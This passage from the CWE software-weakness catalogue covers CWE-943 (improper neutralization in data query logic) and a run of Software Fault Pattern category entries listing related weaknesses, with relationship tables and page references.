For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	183	Permissive Whitelist	1000	352
ChildOf	C	284	Improper Access Control	**699** **1000**	500
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1000	1037

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID: 943 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated

Append additional commands to the query

Return more entities than intended

Return fewer entities than intended

Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Integrity
Availability
Access Control
Bypass protection mechanism
Read application data
Modify application data
Varies by context

Observed Examples

Reference	Description
CVE-2014-2508 CVE-2014-2503	Injection using Documentum Query Language (DQL)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	**699** **1000** **1003**	113
ParentOf	B	*89*	*Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')*	***699*** ***1000*** ***1003***	*159*
ParentOf	B	*90*	*Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')*	***699*** ***1000*** ***1003***	*168*
ParentOf	B	*643*	*Improper Neutralization of Data within XPath Expressions ('XPath Injection')*	***699*** ***1000***	*1000*
ParentOf	B	*652*	*Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')*	***699*** ***1000***	*1011*

Relationship Notes

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

Maintenance Notes

This entry will be made more comprehensive in future CWE versions.

CWE-944: SFP Secondary Cluster: Access Management

Category ID: 944 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID: 949 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	**888**	1330

Nature	Type	ID	Name	V	Page
ParentOf	V	293	Using Referer Field for Authentication	888	520
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	888	535
ParentOf	C	345	Insufficient Verification of Data Authenticity	888	601
ParentOf	B	346	Origin Validation Error	888	603
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	609
ParentOf	B	360	Trust of System Event Data	888	626
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	891
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	888	903
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1004

CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID: 950 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1330
ParentOf	V	258	Empty Password in Configuration File	888	459
ParentOf	B	259	Use of Hard-coded Password	888	460
ParentOf	B	321	Use of Hard-coded Cryptographic Key	888	566
ParentOf	V	547	Use of Hard-coded, Security-relevant Constants	888	888

CWE-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID: 951 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	888	1330
ParentOf	V	262	Not Using Password Aging	888	467
ParentOf	B	263	Password Aging with Long Expiration	888	468
ParentOf	B	521	Weak Password Requirements	888	864
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	888	894
ParentOf	B	613	Insufficient Session Expiration	888	962
ParentOf	B	645	Overly Restrictive Account Lockout Mechanism	888	1002

CWE-952: SFP Secondary Cluster: Missing Authentication

Category ID: 952 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	**888**	1330
ParentOf	V	*306*	*Missing Authentication for Critical Function*	***888***	*538*
ParentOf	V	*620*	*Unverified Password Change*	***888***	*969*

CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID: 953 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	**888**	1330
ParentOf	V	*422*	*Unprotected Windows Messaging Channel ('Shatter')*	***888***	*727*
ParentOf	B	*425*	*Direct Request ('Forced Browsing')*	***888***	*729*

CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID: 954 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	**888**	1330
ParentOf	B	*605*	*Multiple Binds to the Same Port*	***888***	*953*

CWE-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID: 955 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	898	SFP Primary Cluster: Authentication	**888**	1330
ParentOf	B	*307*	*Improper Restriction of Excessive Authentication Attempts*	***888***	*542*

CWE-956: SFP Secondary Cluster: Channel Attack

Category ID: 956 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	902	SFP Primary Cluster: Channel	888	1332
ParentOf	B	*290*	*Authentication Bypass by Spoofing*	*888*	*516*
ParentOf	B	*294*	*Authentication Bypass by Capture-replay*	*888*	*521*
ParentOf	C	*300*	*Channel Accessible by Non-Endpoint ('Man-in-the-Middle')*	*888*	*531*
ParentOf	V	*301*	*Reflection Attack in an Authentication Protocol*	*888*	*533*
ParentOf	B	*419*	*Unprotected Primary Channel*	*888*	*724*
ParentOf	B	*420*	*Unprotected Alternate Channel*	*888*	*725*
ParentOf	B	*421*	*Race Condition During Access to Alternate Channel*	*888*	*726*
ParentOf	C	*441*	*Unintended Proxy or Intermediary ('Confused Deputy')*	*888*	*755*

CWE-957: SFP Secondary Cluster: Protocol Error

Category ID: 957 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	902	SFP Primary Cluster: Channel	888	1332
ParentOf	B	*353*	*Missing Support for Integrity Check*	*888*	*617*
ParentOf	C	*435*	*Interaction Error*	*888*	*750*
ParentOf	B	*436*	*Interpretation Conflict*	*888*	*751*
ParentOf	B	*437*	*Incomplete Model of Endpoint Features*	*888*	*753*
ParentOf	C	*757*	*Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')*	*888*	*1155*

CWE-958: SFP Secondary Cluster: Broken Cryptography

Category ID: 958 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	903	SFP Primary Cluster: Cryptography	888	1332
ParentOf	B	*325*	*Missing Required Cryptographic Step*	*888*	*571*
ParentOf	B	*327*	*Use of a Broken or Risky Cryptographic Algorithm*	*888*	*574*
ParentOf	B	*328*	*Reversible One-Way Hash*	*888*	*579*
ParentOf	B	*759*	*Use of a One-Way Hash without a Salt*	*888*	*1156*
ParentOf	B	*760*	*Use of a One-Way Hash with a Predictable Salt*	*888*	*1160*

CWE-959: SFP Secondary Cluster: Weak Cryptography

Category ID: 959 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	903	SFP Primary Cluster: Cryptography	888	1332
ParentOf	V	*261*	*Weak Cryptography for Passwords*	*888*	*465*

Nature	Type	ID	Name	V	Page
ParentOf	B	322	Key Exchange without Entity Authentication	888	568
ParentOf	B	323	Reusing a Nonce, Key Pair in Encryption	888	569
ParentOf	B	324	Use of a Key Past its Expiration Date	888	570
ParentOf	C	326	Inadequate Encryption Strength	888	573
ParentOf	V	329	Not Using a Random IV with CBC Mode	888	581
ParentOf	B	347	Improper Verification of Cryptographic Signature	888	606
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	991

CWE-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID: 960 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1328
ParentOf	B	396	Declaration of Catch for Generic Exception	888	683
ParentOf	B	397	Declaration of Throws for Generic Exception	888	684

CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID: 961 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1328
ParentOf	B	392	Missing Report of Error Condition	888	678
ParentOf	B	393	Return of Wrong Status Code	888	679
ParentOf	B	455	Non-exit on Failed Initialization	888	771
ParentOf	V	460	Improper Cleanup on Thrown Exception	888	779
ParentOf	B	544	Missing Standardized Error Handling Mechanism	888	886
ParentOf	B	584	Return Inside Finally Block	888	926
ParentOf	C	636	Not Failing Securely ('Failing Open')	888	985
ParentOf	C	703	Improper Check or Handling of Exceptional Conditions	888	1105

CWE-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID: 962 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	889	SFP Primary Cluster: Exception Management	888	1328
ParentOf	B	248	Uncaught Exception	888	439
ParentOf	B	252	Unchecked Return Value	888	447
ParentOf	B	253	Incorrect Check of Function Return Value	888	452
ParentOf	B	273	Improper Check for Dropped Privileges	888	486
ParentOf	B	280	Improper Handling of Insufficient Permissions or Privileges	888	496
ParentOf	B	372	Incomplete Internal State Distinction	888	652
ParentOf	C	390	Detection of Error Condition Without Action	888	673
ParentOf	B	391	Unchecked Error Condition	888	677
ParentOf	B	394	Unexpected Status Code or Return Value	888	681
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	888	681
ParentOf	B	431	Missing Handler	888	741
ParentOf	V	478	Missing Default Case in Switch Statement	888	806
ParentOf	B	484	Omitted Break Statement in Switch	888	819
ParentOf	B	600	Uncaught Exception in Servlet	888	943
ParentOf	C	665	Improper Initialization	888	1029
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	888	1146
ParentOf	C	755	Improper Handling of Exceptional Conditions	888	1153

CWE-963: SFP Secondary Cluster: Exposed Data

Category ID: 963 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1330
ParentOf	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	888	2
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	888	5
ParentOf	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	888	6
ParentOf	V	11	ASP.NET Misconfiguration: Creating Debug Binary	888	8
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	888	9
ParentOf	V	13	ASP.NET Misconfiguration: Password in Configuration File	888	11
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	888	12

ParentOf	V	535	Information Exposure Through Shell Error Message	888	877
ParentOf	V	536	Information Exposure Through Servlet Runtime Error Message	888	878
ParentOf	V	537	Information Exposure Through Java Runtime Error Message	888	879
ParentOf	B	538	File and Directory Information Exposure	888	880
ParentOf	V	539	Information Exposure Through Persistent Cookies	888	882
ParentOf	V	540	Information Exposure Through Source Code	888	882
ParentOf	V	541	Information Exposure Through Include Source Code	888	883
ParentOf	V	542	Information Exposure Through Cleanup Log Files	888	884
ParentOf	V	546	Suspicious Comment	888	887
ParentOf	V	548	Information Exposure Through Directory Listing	888	889
ParentOf	V	550	Information Exposure Through Server Error Message	888	890
ParentOf	B	552	Files or Directories Accessible to External Parties	888	892

Nature	Type	ID	Name	V	Page
ParentOf	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	888	894
ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	888	934
ParentOf	V	598	Information Exposure Through Query Strings in GET Request	888	941
ParentOf	V	607	Public Static Final Field References Mutable Object	888	955
ParentOf	V	612	Information Exposure Through Indexing of Private Data	888	962
ParentOf	V	615	Information Exposure Through Comments	888	964
ParentOf	C	642	External Control of Critical State Data	888	995
ParentOf	C	668	Exposure of Resource to Wrong Sphere	888	1037
ParentOf	C	669	Incorrect Resource Transfer Between Spheres	888	1039
ParentOf	C	756	Missing Custom Error Page	888	1154
ParentOf	V	767	Access to Critical Private Variable via Public Method	888	1175

CWE-964: SFP Secondary Cluster: Exposure Temporary File

Category ID: 964 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1330
ParentOf	B	377	Insecure Temporary File	888	657
ParentOf	B	378	Creation of Temporary File With Insecure Permissions	888	659
ParentOf	B	379	Creation of Temporary File in Directory with Incorrect Permissions	888	660

CWE-965: SFP Secondary Cluster: Insecure Session Management

Category ID: 965 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1330
ParentOf	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	888	3
ParentOf	V	488	Exposure of Data Element to Wrong Session	888	825
ParentOf	V	524	Information Exposure Through Caching	888	869

CWE-966: SFP Secondary Cluster: Other Exposures

Category ID: 966 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	895	SFP Primary Cluster: Information Leak	888	1330
ParentOf	B	*453*	*Insecure Default Variable Initialization*	***888***	*768*
ParentOf	C	*485*	*Insufficient Encapsulation*	***888***	*820*

ParentOf	V	*207*	*Information Exposure Through an External Behavioral Inconsistency*	***888***	*396*
ParentOf	B	*208*	*Information Exposure Through Timing Discrepancy*	***888***	*396*

CWE-968: SFP Secondary Cluster: Covert Channel

Category ID: 968 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	904	SFP Primary Cluster: Malware	888	1333
ParentOf	B	*385*	*Covert Timing Channel*	***888***	*667*
ParentOf	C	*514*	*Covert Channel*	***888***	*860*
ParentOf	B	*515*	*Covert Storage Channel*	***888***	*861*

CWE-969: SFP Secondary Cluster: Faulty Memory Release

Category ID: 969 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	891	SFP Primary Cluster: Memory Management	888	1329
ParentOf	V	*415*	*Double Free*	***888***	*718*
ParentOf	V	*590*	*Free of Memory not on the Heap*	***888***	*932*
ParentOf	V	*761*	*Free of Pointer not at Start of Buffer*	***888***	*1162*

Nature	Type	ID	Name	V	Page
ParentOf	V	*762*	*Mismatched Memory Management Routines*	***888***	*1165*
ParentOf	B	*763*	*Release of Invalid Pointer or Reference*	***888***	*1167*

CWE-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID: 970 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	**888**	1328
ParentOf	C	*118*	*Incorrect Access of Indexable Resource ('Range Error')*	***888***	*225*
ParentOf	C	*119*	*Improper Restriction of Operations within the Bounds of a Memory Buffer*	***888***	*226*
ParentOf	B	*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***888***	*234*
ParentOf	V	*121*	*Stack-based Buffer Overflow*	***888***	*242*
ParentOf	V	*122*	*Heap-based Buffer Overflow*	***888***	*245*
ParentOf	B	*123*	*Write-what-where Condition*	***888***	*248*
ParentOf	B	*124*	*Buffer Underwrite ('Buffer Underflow')*	***888***	*250*
ParentOf	B	*125*	*Out-of-bounds Read*	***888***	*253*
ParentOf	V	*126*	*Buffer Over-read*	***888***	*254*
ParentOf	V	*127*	*Buffer Under-read*	***888***	*256*
ParentOf	B	*129*	*Improper Validation of Array Index*	***888***	*258*

CWE-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID: 971 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	**888**	1328
ParentOf	B	*469*	*Use of Pointer Subtraction to Determine Size*	***888***	*789*
ParentOf	B	*476*	*NULL Pointer Dereference*	***888***	*800*
ParentOf	V	*588*	*Attempt to Access Child of a Non-structure Pointer*	***888***	*930*

CWE-972: SFP Secondary Cluster: Faulty String Expansion

Category ID: 972 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	**888**	1328
ParentOf	V	*785*	*Use of Path Manipulation Function without Maximum-sized Buffer*	***888***	*1207*

CWE-973: SFP Secondary Cluster: Improper NULL Termination

Category ID: 973 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	**888**	1328
ParentOf	B	*170*	*Improper Null Termination*	***888***	*328*

CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID: 974 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	890	SFP Primary Cluster: Memory Access	**888**	1328
ParentOf	B	*131*	*Incorrect Calculation of Buffer Size*	***888***	*269*
ParentOf	B	*135*	*Incorrect Calculation of Multi-Byte String Length*	***888***	*282*
ParentOf	V	*467*	*Use of sizeof() on a Pointer Type*	***888***	*786*

CWE-975: SFP Secondary Cluster: Architecture

Category ID: 975 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	**888**	1334
ParentOf	B	*348*	*Use of Less Trusted Source*	***888***	*607*
ParentOf	C	*359*	*Exposure of Private Information ('Privacy Violation')*	***888***	*623*
ParentOf	B	*602*	*Client-Side Enforcement of Server-Side Security*	***888***	*949*
ParentOf	C	*637*	*Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')*	***888***	*987*
ParentOf	B	*649*	*Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking*	***888***	*1008*
ParentOf	B	*654*	*Reliance on a Single Factor in a Security Decision*	***888***	*1014*
ParentOf	B	*656*	*Reliance on Security Through Obscurity*	***888***	*1017*
ParentOf	C	*657*	*Violation of Secure Design Principles*	***888***	*1019*
ParentOf	C	*671*	*Lack of Administrator Control over Security*	***888***	*1040*
ParentOf	C	*693*	*Protection Mechanism Failure*	***888***	*1077*
ParentOf	B	*749*	*Exposed Dangerous Method or Function*	***888***	*1141*

CWE-976: SFP Secondary Cluster: Compiler

Category ID: 976 *(Category)*	**Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1334
ParentOf	B	*733*	*Compiler Optimization Removal or Modification of Security-critical Code*	*888*	*1131*

CWE-977: SFP Secondary Cluster: Design

Category ID: 977 *(Category)*	**Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	888	1334
ParentOf	B	*115*	*Misinterpretation of Input*	*888*	*217*
ParentOf	B	*187*	*Partial Comparison*	*888*	*357*

ParentOf	B	*193*	*Off-by-one Error*	*888*	*371*
ParentOf	B	*349*	*Acceptance of Extraneous Untrusted Data With Trusted Data*	*888*	*608*
ParentOf	C	*405*	*Asymmetric Resource Consumption (Amplification)*	*888*	*704*
ParentOf	B	*406*	*Insufficient Control of Network Message Volume (Network Amplification)*	*888*	*705*
ParentOf	B	*407*	*Algorithmic Complexity*	*888*	*707*
ParentOf	B	*408*	*Incorrect Behavior Order: Early Amplification*	*888*	*708*
ParentOf	B	*409*	*Improper Handling of Highly Compressed Data (Data Amplification)*	*888*	*709*
ParentOf	B	*410*	*Insufficient Resource Pool*	*888*	*710*
ParentOf	B	*430*	*Deployment of Wrong Handler*	*888*	*740*
ParentOf	B	*462*	*Duplicate Key in Associative List (Alist)*	*888*	*780*
ParentOf	B	*463*	*Deletion of Data Structure Sentinel*	*888*	*781*
ParentOf	B	*464*	*Addition of Data Structure Sentinel*	*888*	*783*
ParentOf	B	*480*	*Use of Incorrect Operator*	*888*	*811*
ParentOf	V	*483*	*Incorrect Block Delimitation*	*888*	*817*
ParentOf	B	*581*	*Object Model Violation: Just One of Equals and Hashcode Defined*	*888*	*924*
ParentOf	B	*595*	*Comparison of Object References Instead of Object Contents*	*888*	*938*
ParentOf	B	*596*	*Incorrect Semantic Object Comparison*	*888*	*939*
ParentOf	B	*618*	*Exposed Unsafe ActiveX Method*	*888*	*968*
ParentOf	B	*648*	*Incorrect Use of Privileged APIs*	*888*	*1006*
ParentOf	C	*670*	*Always-Incorrect Control Flow Implementation*	*888*	*1040*
ParentOf	C	*682*	*Incorrect Calculation*	*888*	*1063*
ParentOf	C	*691*	*Insufficient Control Flow Management*	*888*	*1075*
ParentOf	C	*696*	*Incorrect Behavior Order*	*888*	*1080*
ParentOf	C	*697*	*Insufficient Comparison*	*888*	*1081*
ParentOf	B	*698*	*Execution After Redirect (EAR)*	*888*	*1082*
ParentOf	C	*705*	*Incorrect Control Flow Scoping*	*888*	*1108*

CWE-978: SFP Secondary Cluster: Implementation

Category ID: 978 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	907	SFP Primary Cluster: Other	**888**	1334
ParentOf	C	*216*	*Containment Errors (Container Errors)*	**888**	*411*
ParentOf	B	*358*	*Improperly Implemented Security Check for Standard*	**888**	*622*
ParentOf	C	*398*	*Indicator of Poor Code Quality*	**888**	*685*
ParentOf	V	*623*	*Unsafe ActiveX Control Marked Safe For Scripting*	**888**	*973*
ParentOf	C	*710*	*Coding Standards Violation*	**888**	*1112*

CWE-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID: 979 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	**888**	1329
ParentOf	V	*243*	*Creation of chroot Jail Without Changing Working Directory*	**888**	*434*

CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID: 980 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	**888**	1329
ParentOf	B	*59*	*Improper Link Resolution Before File Access ('Link Following')*	**888**	*91*
ParentOf	V	*62*	*UNIX Hard Link*	**888**	*96*
ParentOf	V	*64*	*Windows Shortcut Following (.LNK)*	**888**	*98*
ParentOf	V	*65*	*Windows Hard Link*	**888**	*100*
ParentOf	V	*71*	*Apple '.DS_Store'*	**888**	*106*
ParentOf	B	*386*	*Symbolic Name not Mapping to Correct Object*	**888**	*668*
ParentOf	C	*610*	*Externally Controlled Reference to a Resource in Another Sphere*	**888**	*959*

CWE-981: SFP Secondary Cluster: Path Traversal

Category ID: 981 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	893	SFP Primary Cluster: Path Resolution	**888**	1329

Nature	Type	ID	Name	V	Page
ParentOf	C	*22*	*Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')*	***888***	*30*
ParentOf	B	*23*	*Relative Path Traversal*	***888***	*40*
ParentOf	V	*24*	*Path Traversal: '../filedir'*	***888***	*45*

ParentOf	B	*66*	*Improper Handling of File Names that Identify Virtual Resources*	***888***	*101*
ParentOf	V	*67*	*Improper Handling of Windows Device Names*	***888***	*103*
ParentOf	V	*72*	*Improper Handling of Apple HFS+ Alternate Data Stream Path*	***888***	*107*
ParentOf	C	*73*	*External Control of File Name or Path*	***888***	*108*
ParentOf	B	*428*	*Unquoted Search Path or Element*	***888***	*738*
ParentOf	C	*706*	*Use of Incorrectly-Resolved Name or Reference*	***888***	*1109*

CWE-982: SFP Secondary Cluster: Failure to Release Resource

Category ID: 982 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	**888**	1329
ParentOf	B	*401*	*Improper Release of Memory Before Removing Last Reference ('Memory Leak')*	***888***	*695*
ParentOf	B	*404*	*Improper Resource Shutdown or Release*	***888***	*700*
ParentOf	B	*459*	*Incomplete Cleanup*	***888***	*777*
ParentOf	B	*771*	*Missing Reference to Active Allocated Resource*	***888***	*1185*
ParentOf	B	*772*	*Missing Release of Resource after Effective Lifetime*	***888***	*1186*
ParentOf	V	*773*	*Missing Reference to Active File Descriptor or Handle*	***888***	*1190*
ParentOf	V	*775*	*Missing Release of File Descriptor or Handle after Effective Lifetime*	***888***	*1192*

CWE-983: SFP Secondary Cluster: Faulty Resource Use

Category ID: 983 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	**888**	1329
ParentOf	B	*416*	*Use After Free*	***888***	*720*
ParentOf	B	*672*	*Operation on a Resource after Expiration or Release*	***888***	*1041*

CWE-984: SFP Secondary Cluster: Life Cycle

Category ID: 984 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	**888**	1329
ParentOf	C	*664*	*Improper Control of a Resource Through its Lifetime*	***888***	*1028*
ParentOf	B	*666*	*Operation on Resource in Wrong Phase of Lifetime*	***888***	*1033*
ParentOf	C	*675*	*Duplicate Operations on Resource*	***888***	*1045*
ParentOf	B	*694*	*Use of Multiple Resources with Duplicate Identifier*	***888***	*1078*

CWE-985: SFP Secondary Cluster: Unrestricted Consumption

Category ID: 985 *(Category)* **Status:** Incomplete

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	892	SFP Primary Cluster: Resource Management	**888**	1329

Nature	Type	ID	Name	V	Page
ParentOf	B	*400*	*Uncontrolled Resource Consumption ('Resource Exhaustion')*	***888***	*689*
ParentOf	B	*674*	*Uncontrolled Recursion*	***888***	*1044*
ParentOf	B	*770*	*Allocation of Resources Without Limits or Throttling*	***888***	*1178*
ParentOf	V	*774*	*Allocation of File Descriptors or Handles Without Limits or Throttling*	***888***	*1191*

CWE-986: SFP Secondary Cluster: Missing Lock

Category ID: 986 *(Category)* **Status:** Incomplete

Description

Summary

